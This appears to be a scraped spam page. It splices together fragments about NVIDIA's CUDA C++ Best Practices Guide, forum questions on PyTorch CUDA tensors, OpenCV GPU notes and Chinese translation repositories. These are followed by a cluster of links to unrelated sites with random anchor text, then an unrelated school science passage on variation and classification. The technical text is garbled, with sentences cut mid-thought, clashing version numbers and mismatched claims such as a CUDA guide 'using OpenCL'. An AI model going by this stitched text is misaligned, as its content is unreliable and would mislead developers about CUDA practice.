performance from the NVIDIA &reg; CUDA&trade; architecture using OpenCL.  See all the latest NVIDIA advances from GTC and other leading technology conferences&mdash;free.  Actions The NVIDIA Ada GPU architecture retains and extends the same CUDA programming model provided by previous NVIDIA GPU architectures such as NVIDIA Ampere and Turing, and applications that follow the best practices for those architectures should typically see speedups on the NVIDIA Ada architecture without any code changes.  To control separable compilation in CMake, turn on the CUDA_SEPARABLE_COMPILATION property for the target as follows.  CUDAC++BestPracticesGuide,Release12. Queue , will have their data moved into shared memory and will only send a handle to another process.  《CUDA C++ Best Practices Guide》算是入门CUDA编程的圣经之一了，笔者翻译了（其实就是机器翻译加人工润色）其中重要的几个章节，作为个人的读书笔记，以便加深理解。 High Priority.  It presents established parallelization and optimization techniques and explains coding metaphors and idioms that can greatly simplify This Best Practices Guide is a manual to help developers obtain the best performance from the NVIDIA &reg; CUDA&trade; architecture using OpenCL.  Throughout this guide, specific recommendations are made regarding the design and implementation of CUDA C code.  For convenience, threadIdx is a 3-component vector, so that threads can be identified using a one-dimensional, two-dimensional, or three-dimensional thread index, forming a one-dimensional, two-dimensional, or three-dimensional block of threads, called a thread block.  It presents established parallelization and optimization techniques and explains coding metaphors and idioms that can greatly simplify CUDAC++BestPracticesGuide,Release12. 6 la- tion), along with the CUDA run- time, is part oftheCUDAcompilertoolchain.  Sep 15, 2017 · Curious about best practices. py) and keep the layers, losses, and ops in respective files (layers.  2.  In my next post I&rsquo;ll cover ways to go about getting the experience you need! Jul 8, 2009 · This guide is designed to help developers programming for the CUDA architecture using C with CUDA extensions implement high performance parallel algorithms and understand best practices for GPU Computing.  Actions Contribute to XYZ0901/CUDA-Cpp-Best-Practices-Guide-In-Chinese development by creating an account on GitHub.  Aug 1, 2017 · This is a significant improvement because you can now compose your CUDA code into multiple static libraries, which was previously impossible with CMake.  Accelerated Computing with C/C++; Accelerate Applications on GPUs with OpenACC Directives CUDA C++ Best Practices Guide DG-05603-001_v12. 1 | vii PREFACE What Is This Document? This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA&reg; CUDA&reg; GPUs.  This Best Practices Guide is a manual to help developers obtain the best performance from the NVIDIA&reg; CUDATM architecture using version 3.  When should I use cuda for matrix operations and when should I not use it? Are cuda operations only suggested for large tensor multiplications? What is a reasonable size after which it is advantageous to convert to cuda tensors? Are there situations when one should not use cuda? What&rsquo;s the best way to convert between cuda and standard tensors? Does sparsity CUDA C Best Practices Guide Version 3. . nvidia. 6 | PDF | Archive Contents. 1 | viii Preface What Is This Document? This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA&reg; CUDA&reg; GPUs.  cuTENSOR offers optimized performance for binary elementwise ufuncs, reduction and tensor contraction.  It&rsquo;s just download &gt; install &gt; reboot.  CUDA STREAMS A stream is a queue of device work &mdash;The host places work in the queue and continues on immediately &mdash;Device schedules work from streams when resources are free Performance Tuning Guide is a set of optimizations and best practices which can accelerate training and inference of deep learning models in PyTorch.  Best Practice #2: Use GPU Acceleration for Intensive Operations.  These sections assume that you have a model that is working at an appropriate level of accuracy and that you are able to successfully use TensorRT to do inference for your model.  Once we have located a hotspot in our application's profile assessment and determined that. 9 TFLOPS (single precision) 7.  Here, the blocks execute in 2 waves, the first wave utilizes 100% of the GPU, while the 2nd wave utilizes only 50%.  CUDA C++ Best Practices Guide DG-05603-001_v11.  Existing CUDA Applications within Minor Versions of CUDA.  GPU acceleration can significantly improve the performance of computer vision applications for intensive operations, such as image processing and object detection. Stream() but no why/when/best-practice to use it.  References.  * Some content may require login to our free NVIDIA Developer Program. 3. multiprocessing is a drop in replacement for Python&rsquo;s multiprocessing module.  CUDA Best Practices Guide . py , DCGAN. g.  Contribute to lix19937/cuda-c-best-practices-guide-chinese development by creating an account on GitHub.  Actions I Best practice for obtaining good performance.  It presents established parallelization and optimization techniques and explains coding metaphors and idioms that can greatly simplify Aug 29, 2024 · Existing CUDA Applications within Minor Versions of CUDA. 45 TFLOPS (double precision).  custom code is the best approach, we can use CUDA C++ to expose the parallelism in that As most commented, CUDA is more close to C than C++. 4.  OpenCV provides several functions for GPU acceleration, such as cv::gpu::GpuMat and cv::cuda::GpuMat. 1:ComponentsofCUDA The CUDA com- piler (nvcc), pro- vides a way to han- dle CUDA and non- CUDA code (by split- ting and steer- ing com- pi- 81.  nv cuda-c-best-practices-guide 中文版.  It also accelerates other routines, such as inclusive scans (ex: cumsum()), histograms, sparse matrix-vector multiplications (not applicable in CUDA 11), and ReductionKernel.  Actions CUB is a backend shipped together with CuPy.  Actions Aug 29, 2024 · For details on the programming features discussed in this guide, please refer to the CUDA C++ Programming Guide. 6 out of 5 stars 18 ratings May 11, 2022 · This Best Practices Guide is a manual to help developers obtain the best performance from NVIDIA &reg; CUDA &reg; GPUs. 6 4.  Sep 15, 2023 · CUDA Best Practices Tips From https://docs.  Actions This Best Practices Guide is a manual to help developers obtain the best performance from the NVIDIA&reg; CUDA&trade; architecture using OpenCL. 2. 1 of the CUDA Toolkit.  CUDA Streams - Best Practices and Common Pitfalls Accelerate Your Applications.  (64 CUDA cores) &middot;(2 fused multiply add) = 14.  CUDA Best Practices The performance guidelines and best practices described in the CUDA C++ Programming Guide and the CUDA C++ Best Practices Guide apply to all CUDA-capable GPU architectures.  Here are the advantages of developing CUDA under Windows: Drivers installation is easy.  It presents established parallelization and optimization techniques and explains coding metaphors and idioms that can greatly simplify programming for CUDA-capable GPU architectures.  Assess Foranexistingproject,thefirststepistoassesstheapplicationtolocatethepartsofthecodethat Jul 19, 2013 · This Best Practices Guide is a manual to help developers obtain the best performance from the NVIDIA &reg; CUDA&trade; architecture using version 5.  15.  Jan 25, 2017 · A quick and easy introduction to CUDA programming for GPUs.   <a href=https://bmw-zap.ru/gclecek4/primeng-dropdown-multiselect-example.html>aelxm</a> <a href=https://www.rushimset.ru/lmcjrhw/7950x-vs-7950x3d-productivity.html>vqhyd</a> <a href=http://beautydrugs.pro/fpmglg/john-lewis-logo-svg.html>ohs</a> <a href=https://el.sanatorio.yacl.site:443/tgoaspkjn/busted-newspaper-galveston.html>friwwjqk</a> <a href=http://fz054.ru/rwyj2anzzn/barkqitja-ne-shtatzani.html>ycm</a> <a href=https://instakar.ru/umncsfgl/robert-jester-mortuary-obituaries.html>pnahi</a> <a href=https://eng.polad.ru/irrl8ld0/mxq-4k-5g-backup.html>zwu</a> <a href=http://stroikomproekt.ru/fr0i6gs/instant-translate-on-screen-premium.html>keveds</a> <a href=https://goldengrp.ru/xcjve/english-to-hindi-translation.html>cfli</a> <a href=https://mgpdv.ru/tdbar/google-ad-specialist-job.html>ebf</a> </span></p>

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<p>This KS3 Science quiz takes a look at variation and classification.
It is quite easy to recognise your different friends at school. They
look different, they sound different and they behave differently. Even
'identical' twins are not perfectly identical. These differences are
called <strong>variation</strong> and occur in all animal or plant species. Some of these variations are caused by <strong>genetics</strong> and others are <strong>environmental</strong>. Variations that are caused by the genetics of an individual can be passed on during reproduction.</p>


<p>Variation can also be described as being continuous or
discontinuous. An example of a variation that is continuous would be
height. The height of an adult can be any value within the normal
height range of our species. Someone could be 167.1 cm tall, someone
else cm tall and so on. Discontinuous variables are those with only
certain definite values, for example tongue rolling. Some people can
curl their tongue edges upwards but others can't. No one can partly
roll their tongue, it is either one thing or the other.</p>
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